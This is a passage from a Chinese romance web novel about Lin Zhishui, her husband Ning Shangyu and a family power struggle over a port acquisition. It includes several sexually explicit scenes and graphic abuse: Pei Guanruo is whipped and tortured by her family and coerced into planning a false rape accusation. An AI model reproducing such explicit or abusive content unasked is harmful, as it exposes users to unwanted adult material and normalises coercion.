这低低沉沉的三个字让林稚水心尖被最细密的针扎着,瞬间酸软一片,配合地主动环紧了他,不再只是被动承受,难以克制地想更近点儿,小声地吐气:“宁惟羽想跟你争什么?” 步入主题。 宁商羽没有隐瞒她:“收购舟隆港口的项目。” “这个项目……”林稚水转念便意识到老宅那边的意味颇深态度,多半是选择了让宁商羽拱手让人的,她在彼此亲吻的间隙里,若有所思问:“你会让吗?” 床垫轻轻震了震,是宁商羽开始极其缓慢的动作起来,语调依旧傲慢却不带丝毫家族感情地说:“让?权力要靠博取同情获取,这跟天生残废了有什么区别,宁惟羽想要坐那把椅子,一瘸一拐被扶上位,可不能。” 宁商羽受的教育理念中,所渴望之物,便去不择手段的争取到手,但是要用眼泪来软磨硬泡才能得到,那才是真正耻辱。 宁徽诏愧对于宁惟羽年幼时孤苦无依的度过了一段跟野猫抢食的屈辱生活。 那是他到了古稀之年,被心中数年执念蒙蔽了神智所致,才会妄想用权力,来弥补宁惟羽丧母的内疚情感。 宁商羽倨傲的俊美面目下是冰冷的,享受了片刻林稚水这副柔软圣洁的身子带来的美妙后,他将巨浪,毫厘未撤,又俯在她耳畔道:“善善。” 林稚水极轻极轻嗯了声。 宁商羽本性展露在她身上,毫不掩饰野心:“送你一份礼物。” 林稚水唇微张,却问不出什么礼物了。 宁商羽太会攻城略地,况且也不知他那三倍冲击力的药效何时减退,是不是也要像之前一样,长长久久维持一个月。 他试过全部,就不再浅尝辄止了。 林稚水眉心紧蹙了一下,宁商羽就浅浅的来,眉心舒展一下,就力量感往极端的加。 到半夜,甚至还拿出了以前用的那种普通抑制药剂,往手臂肌肉打了两针。 与此同时,酒店的高级套房不再黑暗一片,璀璨夺目的水晶灯光洒在落地窗前真皮沙发处的两人身上。 裴观若已经穿戴整齐,温柔地坐在宁惟羽的腿上,为他伤口上好药。 宁惟羽不是那种符合宁氏家族那种傲慢锋利的长相,像流水打磨出来的那种温润斯文一类,而衬衫下,与之相反的是那布满陈旧伤痕的肌肉分明上半身。 一个天之骄子,哪来的这么多伤? 裴观若分神地想,指尖不禁停滞在了胸膛离心脏很近的位置,这道很深,大约四厘米长,应该是没痊愈时又被撕裂,才会造成多少年了都淡不了。 “现在还痛吗?”她问。 宁惟羽身上的疤痕都是流浪时被人殴打所致,无时无刻的灼烧着,一遍遍地在夜深人静下提醒他这个私生子的身份。 没有人,问过他痊愈了,还痛吗? 他跟裴观若对视,看到那逐渐地红了的眼眶,发怔了几秒,随即去亲她,引着她的手,碰到腹部那道:“很痛,这道疤是在天寒地冻的深夜,我到垃圾桶捡东西,被一个酒醉的男人抓住,他把我当成一只可以虐待的流浪小畜生,拳脚相向后,又用玻璃碎片,划破了我肚子。” “这道。”他继续引裴观若的手,触碰到了左侧腰,紧挨着滚烫的皮肤:“是我抓耗子时,无意中走到了另一个流浪人的地盘,被他拿生锈的水果刀刺了数下,冲命去的,但我就是死不了,耗子死了,我也不会死。” 他的每道自己缝合的伤都跟生存有关,把自己流浪成了野猫,没东西吃就去抓耗子。 宁惟羽跟裴观若细数完,低首,去嗅了嗅她指尖残留的药味:“还是第一次,有人处理这些伤口。” 裴观若被生理性的泪水溢满眼眶,连带喉咙也被堵住,许久都没说话。 两人以前在一起,宁惟羽都是西装笔挺,只解皮带,要么就是在黑暗中进行,把她压制在床垫里,手掌温柔又透着危险性地扣着她后脑勺,那是极度缺乏安全感的表现。 而这次,她是第一次亲眼目睹到宁惟羽全身,给新伤涂药时,顺便把触目惊心的旧伤也涂了。 宁惟羽看着她的泪水犹如一阵骤雨,把他多年压抑的伤痛都快浇灭了,低声问:“你在为我伤心吗?观若?” 裴观若面对面坐在他腿上,回避不了这股打量的视线。 她的伤心是真的,情却是虚假的。 这些眼泪,一是为自己计划被就此打乱,无法带着母亲逃离裴家而哭,二是,为宁惟羽这个注定的失败者,假惺惺也掉一两滴罢了。 裴观若八面玲珑的处世之道讲究的是个好聚好散,不伤彼此情分,或许,哪天遇见了,也不至于陷入颜面难堪的境地。 今晚自是要竭尽全力把一朵解语花的功效发挥到底。 她好似天生懂得怎么怜惜男人,无微不至替宁惟羽把西装衬衫都穿好,纽扣也一粒粒的系紧,将满身的伤,都严丝合缝地隐藏起来了。 继而,裴观若又柔声宽慰着宁惟羽:“你是宁琛启的……儿子,兄弟之间再大的仇怨也抵不过血脉相连,老爷子又疼爱你,宁商羽坐在头把椅上,肯定得有容人之度的。” 宁惟羽冷冷地勾起嘴角:“是么。” 当然不是,我要是宁商羽,第一件事就把你碎尸万段沉海,用来以儆效尤,让你生没有名分,死不入宁氏族谱,裴观若内心这般想,但是面上温柔:“先回老宅看看老爷子身体情况,我送你。” 先前两人下了床,就默契是形同陌路的关系了。 而她这回体贴送人离开,没别的意思,只是想把外表看上去显得阴郁又高傲的宁惟羽好生送走。 出了这酒店,也是时候单方面地跟他解除利益结合的这种契约关系。 这个深夜的时间点,街道车影稀少,唯有暖黄色的路灯还亮着,裴观若送宁惟羽上车,主动地,在他抿紧的嘴角亲了亲:“走吧。” 走吧。 就此别过吧。 别怪她无情,今晚给予的一切额外温柔小意,已经是仁至义尽。 宁惟羽坐在车厢内,身影彻底隐在昏暗里,抬起眼皮,又注视着车窗半落的外面,裴观若还站着,眼角微微弯折,在深秋的夜晚里却像是夏日莲塘的弯月。 随着司机引擎发动驶向前方,这抹弯月,痕迹也淡了。 宁惟羽没有多留就走了。 裴观若倒是松了口气,也没继续在这里徘徊,一转身,裙下的高跟鞋才迈出,忽地,犹如坠入了无底深渊一样,盯着前方突然现身的保镖,怔了几秒。 为首的保镖面孔很熟悉,是裴以稀养在身边忠心耿耿的恶犬。 裴观若不知被这条恶犬暗中监视了多久,只知道,今晚的运气差到了极点,前有宁惟羽失败,后有彻底暴露在了裴家。 一切都完了。 一天一夜。 林稚水在面朝那片生机勃勃的红色落羽杉主卧里,靠睡眠来补充体力了很长时间,爽的时候感觉不到疼痛,等过后,那股绵长的滋味是深缠在了骨头里的。 等养过来了一点后。 林稚水洗过澡,又往擦伤的地方上了药膏,裹着一件红丝绒睡袍窝在沙发里,很认真地拿手机,挑选着摄像机的款式。 她觉得上上次宁商羽言之有理。 就应该在床边摆个录像的设备,这样倒要看看,是能录到爱抓人的逞凶小猫,还是能录到他这只大狮子的逞凶证据! 林稚水精心挑选了十款价值不菲的设备,只要求一个功能,必须高清,这样方便回看时,精准地知道宁商羽那极具力量感的粗长大尾巴,到底还保留了多少在外面。 其实她想要什么,只要一句话,在宁家就有人效劳把东西妥妥帖帖地送过来。 但林稚水买这个,是拿来床上用的,也不好让管家和秘书去安排。 网上购买成功后,正要放下手机,忽而,先进来一条画廊打来的电话。 林稚水接听,对方语气很急切地说:“宁太太,我是观若姐的助理,她在你这边吗?画廊这边有份上千万的买卖合同需要她签字,但她手机一直无人接听。” 裴观若办事细致周到,不仅能帮她偶尔处理一下珊瑚研究所的琐事,还把视为安身立命的画廊经营得极好,一般没更重要的事牵绊住手脚,绝不可能耽误生意。 林稚水想了想,说:“能把合同缓缓吗?” 助理:“对方难缠的紧,这画拍来说是给她老公做生日礼物的,但没有观若姐的签字,交易也进行不下去。” 林稚水听后,也试着给裴观若拨打了电话。 没想到竟一下子就通了。 那边却是陌生的女人声音,称是裴观若的亲生母亲陈宝翠:“不好意思,观若她……在家照顾我,一时来不了画廊。” 林稚水纤细的后背轻陷在沙发里,睫毛低垂了秒,说:“陈女士,劳烦你让她接电话。” 陈宝翠又道:“观若去给我熬药了。” “好吧。”林稚水声音听不出情绪变化:“我让画廊助理立即动身把合同送到深城来,陈女士,你务必转告她好好等着。” 陈宝翠:“好。” 半分钟通话结束。 林稚水眼眸望着玻璃落地窗外波光粼粼的湖泊,脑海中的思绪打转了一圈,又启唇,轻轻咬了咬白皙指节。 她在琢磨派谁去深城一趟。 宁濯羽不合适了,毕竟他还得留在老宅为宁商羽效力。 还没想好,搁在沙发上的手机再次响起。 是画廊的助理致电来,说裴家已经派人把合同拿走了。 这么快? 林稚水一时抿了唇。 她心有疑惑,等到夕阳快落山时,慢悠悠地下楼坐在餐厅桌还没动筷,就先给裴观若致电,这次却无人接听了。 林稚水眉心轻蹙,指尖摁着,又拨打一遍。 直到归家的宁商羽看到她这幕,漫不经心地缓步过来,筋骨匀长的手指微曲,轻叩了一下她洁白额头。 “疼!”林稚水娇气起来。 说疼,反而激起宁商羽骨子里那股凶悍霸道的性子,长指转而掐住她脸颊,来了一记深吻,等她快喘不过气来了,低低的笑。 林稚水没处逃,喉咙吞着他浓烈的气息和温度,问:“你心情很好呢?” “嗯。”宁商羽语调冷静道:“收购舟隆港口的项目让宁惟羽拿走了。” 林稚水猛地一清醒,被亲得鲜红水润的唇微张:“那你……” 宁商羽显然自有胜算,手臂猛地把她从椅子抱起,往楼上走:“陪我庆祝一下。” 你丢了收购舟隆港口的项目还要庆祝什么?! 林稚水懵了。 第59章 林稚水被扔在床垫上,回弹的瞬间,手机从指间掉在被褥里,她仰头,双眼稍微睁大,看着宁商羽高大强健的身形逐渐朝自己逼近,又用两指分开她。 看似漫不经心的举动,实则极具力量的攻击意味。 林稚水虽然对他要庆祝丢失项目这事云里雾里的,但很清楚,宁商羽想庆祝,那股散发出的荷尔蒙魅力,让她无法抗拒,眼里都不受控地荡漾着清透的水波。 滴答,滴答的…… 宁商羽先松了衬衫领口的纽扣,逐渐往下扯,若隐若现的胸膛线条分明,继而,又去解开皮带扣。 明明不是第一次看到他戴着镶嵌着红宝石的狮子指环,然而,看到他指环的手指去慢条斯理地扶着,逐渐靠近…… 还一下一下,去刮过她透明得像水的皮肤。 熟悉的触感又显得新奇,林稚水僵住,随之而来清晰感到雪白的身体似烈火烧。 “看着它。”宁商羽俯身,空出的左手捏住她脸蛋,透来的那股浓烈气息,就像是丛林的野生猛兽在一寸寸地巡视着独属于自己的私人领域。 林稚水不自觉地后脑勺仰起,发麻的指尖揪紧了床单。 她不敢看,下意识地闭紧双眼,距离极近的那两颗小痣跟着晃了晃 ,视觉的环境自动变黑暗,但是整个人陷在真丝床垫里,好似被烈日直照滋养着,脸颊的颜色从淡红,一点点的,越来越浓。 而宁商羽面上看着游刃有余,沉重的呼吸声却极力压抑着,喉结也上下滚动。 等林稚水浑身散发出熟过了头的花香甜味,额角的毛绒绒碎发也被汗意给湿透了,睫毛蝉翼似的疲倦又脆弱地垂下。 宁商羽才停下,看到她红得轻轻一掐就能出水,快比眼尾的痣还艳,便俯身,把衬衫脱了扔在地上,青筋明显到像山脉绵延至腕骨的手臂把人抱起,走到极宽敞的落地玻璃窗前。 夕阳的瑰丽余晖犹在天边逶迤而过,红光映得将窗外一片挺拔高耸的落羽杉和湖泊都描绘上了一层胭脂色金边。 林稚水心口贴到那玻璃时,被日晒了很久的温度,给烫得昏沉的脑子倏地清醒了。 她下意识往后看,却被宁商羽轻而易举地掌控着。 两人没分开,也没贴的太近,之间无声地缠绕出了将断未断的水线。 宁商羽就是水线的制造者,在她耳畔问:“舒服吗?” 林稚水那双水汪汪的眼眸睁大着,继而,露出困惑情绪,后知后觉才意识到,他什么都没戴,就开始不舒服的扭了一下,咬着尾音:“会,会有……” 宁商羽眼神幽暗几分,把手掌圈住她的小肚子,稍稍用力道压了一下,林稚水连肩胛骨都不自觉贴紧他胸膛,仿佛心跳声在此刻共振,而嗓音沉哑道: “稚水,你这里有什么?嗯?不是已经有了……” 他指的有。 有他的一部分…… 这巨大的存在感非常强烈,哪怕是传递出来的温度,都能让林稚水喘不上气,雪白肚皮都红了。 可她明明指的是,别的,偏偏话说不出来。 宁商羽把她的唇,连带细碎的音节和呼吸都凶悍霸道的吞掉了,在这面窗,明晃晃的对她展现出最直白、最浓烈的欲。 逐渐地,外面变成了一片像是海洋浩瀚的幽蓝色。 林稚水脑海中的意识就跟着在海底来回的沉浮着,也数不清被他摆出了多少匪夷所思的姿势。 直到感到整个人倦到散着的骨架都酸疼个没完没了,才伸出手心,去轻推宁商羽的手臂,指尖触到了他的汗:“你怎么还没好。” 宁商羽这方面有偏执,不刻意去极端克制的时候更是很凶,难得罕见怜惜起她像个乖巧洋娃娃似的很配合,也没挣扎着不让,只是安安静静的,眼尾一直淌着泪意。 解出来之前,宁商羽就进退自如的撤离了。 下秒,林稚水的整片后背骤然一烫,被浇到的皮肤表层迅速浮起了鲜红。 她没有回头也知道那都是什么东西,深深浅浅的冷杉气息融着体温,还沿着腰线,浸到了膝盖处,又蔓延到了骨感伶仃脚踝,都是宁商羽的味道。 …… “你浇灌我一身。”林稚水被抱回床垫,见他竟然没有第一时间带自己去浴室清理,便眉心蹙起,开始音色软绵绵控诉起来。 微微透红的指尖往皮肤一抹,沾了点儿。 她要给宁商羽看看。 都是证据! 宁商羽看到了,微微屈起的指关节这回没弹她额头,反而,是轻刮了一下她眼尾的痣,红红软软的,生得极好。 “下次浇这里。” “……” 林稚水瞬间浑身更热了,就跟在高温烈焰里滚了一遭似的,特别是雪白的后脊上,鲜红的印子,还不少。 宁商羽站在床边,眼神开始透着危险性地打量了片刻,再次蓄势而起,他倾身靠近,伸出手臂,把微弱呼吸也跟着起伏的林稚水…… 在这张床垫里调整出一个更加适合的浇灌角度。 即将要开始。 先前摔在被褥的手机不合时宜地响了,亮起的屏幕显示着裴观若来电。 这让林稚水彻底清醒过来,手心拒绝了来自他的浇灌,还用指甲尖尖儿划了下那犹在突显的青筋,似刻意将饱含水分的小嗓子放轻:“接个电话,你先去浴室冲洗一下,我就来。” 先软言软语的把宁商羽哄走,以防他在这,搅得她心神不定。 林稚水随后把沾满他味道的身体裹在被窝里,懒洋洋的平躺好了,才接通:“观若?” 过几秒,裴观若在电话里说:“是我,稚水,很抱歉打扰到你,我母亲最近身体抱恙离不开人,画廊那边的近日工作,我已经全权托付给助理。” 林稚水微怔:“需要我提供帮助吗?” “不用。”裴观若离手机极近,轻轻的笑声,甚至呼吸,都伴着话穿透而来:“谢谢你关心,很晚了,我先服侍母亲入睡。” 裴观若理由正当,连结束通话也很正常。 林稚水静着,耐心地等她那边先断线,又看看屏幕,心想许是自己多疑了,而裴观若一向是把私事藏的紧,也不宜多打听。 过片刻,她指尖还是点开了微信聊天框,给裴观若补条消息:【我希望你再忙也别失联超过二十四小时,可以的话,我们每天晚上最好互相打一通电话。】 裴观若那边回复的很快,近乎下秒就说:【好。】 林稚水看完,才把手机熄灭,放回床头柜上。 恰好宁商羽也简单冲洗完出来了,披着浴袍,却没有系衣带,迈着大长腿缓步走到床边,浑身那股强烈的雄性荷尔蒙气息顷刻间不加遮掩的压迫而来。 林稚水眨眨睫毛,近距离地观赏了一下招人眼球的地方,继而,很主动的,嘟起红润的小嘴巴,亲了亲清洁干净的“小老公”。 一个好字,沾了血珠,在碎裂到了犹如蜘蛛网的手机屏幕上编辑了许久,才用一个个字母,打出了。 发送成功。 下秒,裴观若被保镖面无表情地掐住喉,沿着冰冷的大理石地板拖至到了客厅中央的沙发前,紧接着,重重地,额头被猛砸向了玻璃质地的茶几上。 剧烈的疼痛,伴着细小碎金的玻璃片都残忍刺进了她这具麻木死气的身体里。 不远处,是陈宝翠的尖叫和绝望的哭泣声,一直在哭。 诡异又窒息的气氛,在居住在后院的众人之间蔓延。 全部的人都被喊出来,像隐于深夜里无数条幽魂一样的人影,看着这个背叛裴家的私生女被以儆效尤,有些胆小的,目睹到裴观若被惩罚得遍体鳞伤,胃中难忍,用手帕掩着唇不敢呕吐出来。 在这个家,没有话语权和地位,就会连带尊严一起被轻易碾碎。 裴以稀轻飘飘的手势,便能让保镖停手,继而,她从沙发起来,踩着尖死人的高跟鞋,走到狼狈躺在地上的裴观若面前,眼露愉快地欣赏这额头上的新鲜伤口。 真妙啊。 上次她挨了林稚水那一下后,就耿耿于怀想这么干了。 “我的好姐姐。”裴以稀忽地倾身,离近:“你怎么不开口求助林稚水呢,让她来啊,来裴家大慈大悲的救救你这个没心没肺的小可怜虫啊。” 裴观若强压着,那股从喉咙一瞬上涌的血腥味。 她不会,她死都不会害林稚水无辜卷入这个充满算计的漩涡里。 裴以稀正清楚,才会冷嘲热讽道:“你真是硬骨头啊,胆子也大,竟敢跟宁惟羽私下联手,要不是提早被发现,你准备怎么假借套到宁家商业机密来蒙骗我们的父亲呢?” 裴观若沉默着,计划已经彻底失败,没什么好求饶。 她回家就被裴胤雷霆大怒的当众鞭罚,被幽禁在小黑屋,断水断粮了一天一夜,却始终咬紧牙关,连眼泪都不掉。 “你是小三生的啊,天生就低人一等……不会还妄想嫁给宁惟羽吧?” 裴以稀有趣地瞧了她一会儿,竟吃吃笑了:“也是,嫁到宁家,就能带着陈宝翠一起走。” 随即,裴以稀眼神变得幽怨地看向颇具气势坐在沙发中央的中年男人:“爸爸,这就是你养出来的孝顺女儿。” 裴胤正接过管家递来的茶盏,神色喜怒难测地润完喉,才说道:“以稀,我是怎么教导你的,在家里要尊老爱幼,怎么能打姐姐?” 裴以稀朝他走过去,“我没打啊,是保镖动的手。” 裴胤眼里只有裴以稀,话虽冠冕堂皇:“你姐姐是在国外留学书读杂了,脑子才会胡思乱想,敢做出这种吃里扒外的事,治一治就好,她怎么真敢带陈宝翠走,这辈子她都姓裴,跟我们都是一家人。” “怎么会不敢呢,爸爸,裴观若可以效仿林稚水啊,靠那副皮囊,嫁给宁家的男人。”裴以稀提到容貌,就不甘。 裴胤反倒是宽慰她:“太美貌不一定是见好事,以后整个裴家都是你的,你普通点更好,反而不会遭到外面那群豺狼之徒算计。以稀,别嫉妒林稚水,她生的美,却没父亲保护,林家根基浅,又无法做她的靠山,日子有的委曲求全着呢。” 自小到大,裴以稀都很信裴胤的话,也坚定不移过好几年认为女孩子就得平凡普通一点,婚姻才会建立在爱情之上。 她想了想,心里舒服多了,依偎着父亲宽厚的肩膀,又去看躺在玻璃碎片间的裴观若那边,说:“我是实在气不过裴观若把您当猴耍,舟隆港口对裴家至关重要,丢了意味着我们家经营百年的航运产业得被宁氏瓜分走一半利益,但凡不是我盯着紧,爸爸在这事上又这么信任她……就真被偷家了。” 裴胤纵横了商界大半生,手段和脾性一向是诡谲狡诈至极,没想到险些被亲生女儿给骗过去,他眼神沉黑盯着裴观若半响,微微拍了下裴以稀的手背:“那你想怎么做?” 裴以稀得偿所愿,唇角偷偷翘起:“白天就让她面壁思过,夜晚当众鞭罚一次,唔,保镖下手没轻没重的,不如让陈宝翠来吧。” 裴胤淡声:“嗯。” “不,裴胤……你不能这样对观若。”陈宝翠带着嘶哑的哭腔,膝盖跪着地,企图爬到沙发面前去求饶他网开一面,却被保镖拽了回去。 她如今容貌衰败到毫无美人模样,连残酷无情的裴胤眼角余光都求不到。 更别说。 替裴观若求情了。 裴以稀又说:“陈宝翠,你要是不狠狠鞭打裴观若到让大家都满意,我只好划破她的美人脸,一日一刀,从眉心开始,怎么样?” 陈宝翠趴在地上,憔悴的脸上瞬间只剩绝望的惨白。 裴胤默许,而裴以稀生性心狠手辣又是无差别仇视着家族里的每一个私生子女,跟裴观若更是积怨已久,她逮住机会,就更不可能轻易放过。 连续半周。 白天时,裴观若被关在昏天暗地的黑屋里,不许任何人探视。 关到天黑,在拖到灯火通明的大厅鞭打一顿,之后就给她面前,丢一部手机。 林稚水会准时给她打通电话。 往往这时候,裴观若额头贴着冰冷的地面,将满是血痕的脸藏在纯黑的阴影中,尽量在笑,一直轻轻的笑:“我母亲,病的厉害……” 是的,打完她第一次,陈宝翠就直接病倒了。 裴以稀就让那些人身彻底被禁锢在后院一小方块阁楼地方的女人轮流来代替。而裴观若内心很清楚,自己是逃不出去了。 她会死,将会成为裴家这块土壤上的肥料。 裴以稀就是冲着她这条命去折磨的,先摧毁意志,再让她这副伤痕累累的身体重病难治而亡……等下次。 裴观若有点可惜的想,林稚水在相隔千山万水遥远距离的宁家再度听到她消息时,应该就是裴家对外界发的一通无伤大雅的死讯了。 很可惜。 她本来是想等,等彻底恢复自由,再清清白白的,跟林稚水道谢的。 脑海中的思绪渐渐快陷入昏暗,为了不睡,裴观若用染血的指尖掐住自己伤口,疼痛似她清醒几分,气息竭尽地平平:“稚水,谢谢你。” 林稚水声音如透明水波,从手机流动出:“谢我什么?” 裴观若还在笑:“想谢谢你。” “那当面谢吧。”林稚水此刻窝在沙发,被一盏暖黄色灯光浅浅照明着膝盖处的平板,她在查阅宁商羽近期的严格保密行程,逐渐地,从里翻出了三日后有一条应酬性质的晚餐是可以换人去的。 林稚水把晚餐时间改成了前往深城,又对着手机说:“我带宁商羽回港区林家一趟,顺道路过你家,见面吃个晚饭?” 裴观若心头瞬间像是被隐形的玻璃尖刺了下,这股涌出来的疼痛是温热的,迅速地覆盖掉了她身体麻木的冷寒。 她想笑一下掩盖住自己反常,喉咙却像被情绪堵上了,半响才终于沙哑了起来:“宁商羽这尊大佛太尊贵了,我招待不起,稚水……半个月后吧,如果你还想见我。” 半个月后? 林稚水意外沉默着,过会儿,才轻轻说:“观若,我不知道你在裴家做什么,你不愿说,我尊重你选择,不过你要记得……你依仗着我。” 可我誓言是永远不背叛你,我也并没有为你提供物有所值的利益……裴观若心知自己就是一个美丽谎言编织而成的存在,哪有什么资格,再接受林稚水的善心帮助。 何况,她要自由却身为裴家养大的私生女,想摆脱裴胤父权的掌控非常难,于情于理,都只会让林稚水上门来要人时,无端的陷入两难境地。 既是走不了,裴观若也不想走了,就在这里,陪着相依为命的母亲吧。 裴观若的人生已经陷入了黑暗绝望里,她选择隔日开始,就不再接林稚水的电话,打定主意把这层关系给断个干净。 而没想到。 今夜的鞭罚迟迟未来,反而是近年来最受裴胤宠爱的三房夫人齐纯芝,将她温柔扶回了房里,耐心清洗上药,换了一身清爽的长袖衣裙,又扶着去书房。 一路上,齐纯芝都温声细语地安抚她:“苦难都过去了观若,你机会来了。” 裴观若不解,心倏地沉了。 等到灯火通明的书房,一向天黑就爱在家里到处发疯不睡觉的裴以稀并不在场,唯有裴胤端坐在沙发上,看她这副可怜模样苍白又清瘦得吓人,便若无其事吩咐齐纯芝,让厨房炖点补汤过来。 等齐纯芝识趣退下。 裴胤把茶几上那份报纸,不轻不重地扔在了裴观若脚前:“倒是让你阴差阳错押对了。” 裴观若眼下的视线麻木扫过去,顿了顿,一直盯着上面被灯光照映得极为清晰的字眼,一家国际地位很权威的媒体报道了篇关于宁氏家族对收购舟隆港口的项目换领导者之事。 她视线,来来回回确认着上面宁惟羽的名字。 怎么会? 这个收购项目的领导者不是宁商羽吗?! 怎么可能换成已经变成私生子身份的宁惟羽?!! 这时,裴胤凤眼挑起一点讽刺的冷冷弧度,打量完裴观若讶异又不可思议的表情后,才发话:“观若,也是时候将功赎罪了。” 没有宁惟羽突然上位,面临裴观若的,将会是她整日遭到严刑拷打,最终被折磨成精神失常的疯子来警告其余的私生子女要安分点。 而谁也没料到,她还有一丝丝的价值。 裴胤说:“港口是我作为给以稀的嫁妆,你是姐姐,应该为妹妹的幸福着想。” “父亲是想跟我做交易吗?”裴观若轻声问。 裴胤眼神震慑意味很足地看了她一眼,倒是死不悔改,现在还想着为自己谋取利益。下秒,他嗓音沉冷道:“宁惟羽这人狼子野心,为了竞标到港口处处针对裴家生意,他啊,不应该跟你的父亲一起坐在谈判桌上,应该坐在被告席上接受审判。” 裴观若的玲珑心,又怎么会揣测不出这番话的深意。 裴胤却点明了命令:“现在跟裴家最有竞争力的就是宁家,我要你,送他上被告席。” 只要宁惟羽名声尽毁,这个港口又是被国际各大领域部门重点关注的项目,不可能被陷入香艳丑闻的家族竞争到手。 裴观若冷声拒绝:“我没这个能力。” “让宁惟羽再睡你一次的能力也没有?”裴胤太懂得如何威胁自己的孩子,将手机调出一段陈宝翠被绑在港口的录像视频,也冷漠无情地扔在地板上:“别妄想求助宁家,不然你母亲今晚可就要失踪了。” “观若。” “送他上被告席,对你来说,很简单的。” 半响,裴观若僵硬又冰冷的身体才慢慢往下蹲,几乎发抖的把手机捡起,连带那份报纸,她指尖紧紧掐着纸上的宁惟羽名字,对裴胤,缓缓露出绝对服从性的微笑:“是很简单,我会送他上被告席,以强奸犯的名义。” 第60章 宁氏家族风声很大的重点收购项目中途换领导者,新闻一爆出来,顷刻间如同沸水全面爆发了外界的种种猜测和解读。 其中,有各个家族洞察力敏锐地嗅到了这极有可能是权力中心的一场博弈,那就意味着,宁氏内部将在一段时间内都处于腥风血雨的明争暗斗里。 而对宁商羽这种君主离线制的状态。 权贵圈内那几位顶级财阀掌权人开始入场,也有意收购舟隆港口,一时间惊起无数热议,甚至到了快谈筹码上桌的最后期限,众人都在下注,到底会花落谁家。 宁商羽近日行程踪迹严格保密,无人可窥视,他带林稚水去了一趟澳大利亚谈判,而恰好这里有着被联合国教科文组织申遗的全世界最大珊瑚礁。 宁商羽是来谈公事的。 林稚水则是当成了度假,可惜她不具备潜水的身体条件,只能隔着电子设备观看潜水员带来的录影。 与此同时,她也在闲暇时关注着国际新闻报道。 宁惟羽最近风头很盛,依旧沿袭了他外表谦和温润的君子兰风度形象,手段又跟宁氏家族一脉相承,都是出手强势又狠辣。 他正在不断扩大势力范围,清除有资格上谈判桌的竞争者。 除了谢家和容家能跟他势均力敌之外,宁惟羽最难对付的就是基业扎根在了航运百年的裴家…… 这场收购局没那么轻易落幕。 林稚水心想到,宁商羽近日见的那几位贵客,年龄各异,其中一个长相中美混血的西装男子很眼熟,正是当初陪同他出差时在洛杉矶有过一面之缘的。 宁商羽跟这位中美混血私下交情甚好,恰好,林稚水又发现对方是国际政治经济的新闻熟客,在港口竞标上有一票决定权。 也就意味着,宁商羽的商业布局策略从未改变过。 他甚至胃口很大。 要的不止一个港口,就在宁惟羽整装待发还为了舟隆港口跟各大家族在谈判桌上较量时,宁商羽已经野心勃勃地谋划着在太平洋航运图上打造出一条生态链。 林稚水在空降这桩婚约前,只听闻宁商羽年轻位高,有着惊人的财富掠夺能力。如今算是亲身目睹,这个所言非虚的传闻被描绘上了真实的色彩。 而她,本身一开始就从生理性的被他身上那股雄性荷尔蒙生命力特质给纯粹吸引着,如今更是,从心到灵魂都深受到蛊惑。 林稚水的情感理念就像是居住在象牙塔上的小动物似的,是纯粹,没有毫无杂质利益的,她会勇敢又坦坦荡荡,不加掩饰地朝他释放爱意。 所以,林稚水是默许被宁商羽控制欲很强的全方面保护着。 她只要离开宁商羽的私人领域,出门一趟就有保镖重重暗中跟随,倘若是离开泗城地界的话,便会有宁濯羽亲自跟随。 无人能对她造成一点实质性的伤害。 林稚水从而也想到了裴观若,宁家和裴家现在是公开的对立竞争关系,她无端被召回深城,看似没有再发生失联情况,却好似又丧失了自由。 林稚水推断出裴观若被牵绊住了手脚,也动过把她带出来的心思。 然而,裴观若态度委婉又坚定地拒绝了。 夜间时分,林稚水坐在书房的那张黑色高椅上,侧脸的情绪和背影都被窗外朦胧月光遮挡了去,此刻,她握着手机,正跟突然致电而来的裴观若远程通话。 裴观若含着笑音说:“我今晚返回泗城,稚水,先前让你挂心了。” “你没事就好。”林稚水说话的语气很平静,另一只手的指尖正在翻阅着宁商羽搁在书桌上的背调资料,上面详细记载着裴观若先前来泗城开画廊时,就已经跟宁惟羽暗中联络过了。 后来是他。 等挂完电话,林稚水还窝着椅子若有所思,直到宁商羽在楼下会议厅召见完精英团队,继而,漫不经心地上楼寻找她。 书房厚重的门开了又关上,宁商羽近日很少用药剂来抑制,一般都是把剩余的精力,都往她这儿倒灌,等解了纽扣,手臂修长有力伸来时,她突然说:“我看到那份背调资料了,你一早就知道裴观若目的不纯。” 如果说顶级名利场是一盘波诡云谲的棋局,宁商羽绝对是高坐云端操控的那一个,他像个生得极华丽俊美的手持权力天平野心家,主宰着每颗棋子命运。 林稚水的小脑袋瓜稍微琢磨几圈,就回味过来,才会在自己被抱起时,主动搂着他脖子,继续往下问:“你回答我一个问题。” “嗯。” “你从一开始默许林家灭秦家,就已经在削弱老宅那边的权势。” 权利的更新换代一向是如此残酷无情,林稚水想到秦家,也想到那些依附宁徽诏而生存的家族。 一个不慎,没及时献上投名状,就得重新被洗牌了。 林稚水接受了这个天降婚约,无意中也推波助澜的置身在了棋盘里,只是她这一环,也不知占了宁商羽权力至上主义的内心多少分量。 她一失神思考,却被宁商羽手臂掂了掂身体,说道:“轻了。” “哪里轻了,我今晚还多吃半碗饭了!”林稚水嘴巴比脑子先一步反应过来,等话音落地,她直视着宁商羽被走廊壁灯映得幽暗的琥珀眼,又怔了下,表情微微变了。 而宁商羽把她往主卧抱,还在接上段话:“一家不事二主,我已经给过一些人机会。” 林稚水脑子里却还在想,自己这颗小棋子能有多轻? 宁商羽这时又问:“想在哪里开始?” 林稚水后知后觉感知到腰侧相贴而来的鲜活滚烫温度,却不太想配合,往宽敞的黑丝绒床上一扑,卷起被子,睁大眼睛,“我的摄像机设备还没到,等到了再说。” 宁商羽的信任值在床上已经透支光光了。 她每次事后都质疑。 奈何没证据。 虽然体型和体力的巨大悬殊下,宁商羽明显处于轻易就能压制着她强来优势里,林稚水却有待无恐,歪头盯着他:“我也给过你机会了,谁让你爱得寸进尺……” 宁商羽笑了,似乎有意味很深思考她尾音的这几个字,继而,就把还想跑的林稚水给抓了过来。 “突然这么生气?”看到她表情愤怒,宁商羽反而用一只手掌就掐住她雪白手腕,往头顶压制,又长指,临摹般地划过她脸侧柔软的弧度,低声道:“我要没留有余力,林稚水,你小命早就没了。” 林稚水雪白无暇的胸口藏着为他跳动的心脏,此刻,又不争气的因为宁商羽几个字的怜惜,跳得极快。 在彼此目光相撞间,她那点儿幽怨的小心思倏地冒了出来,莫名想激起宁商羽眼底的一丝波澜:“你是不是把我睡上瘾了,一天天都想着,我要哪天早逝了……你还有备选家族吗?” 宁商羽眼底很沉静,静得让林稚水话音脱口而出后,被盯着,脊背发凉到下意识去贴紧床垫,又解释:“我没成年之前,总是担心自己活不久,有偷偷的提前书写好遗嘱内容,唔……这叫。” 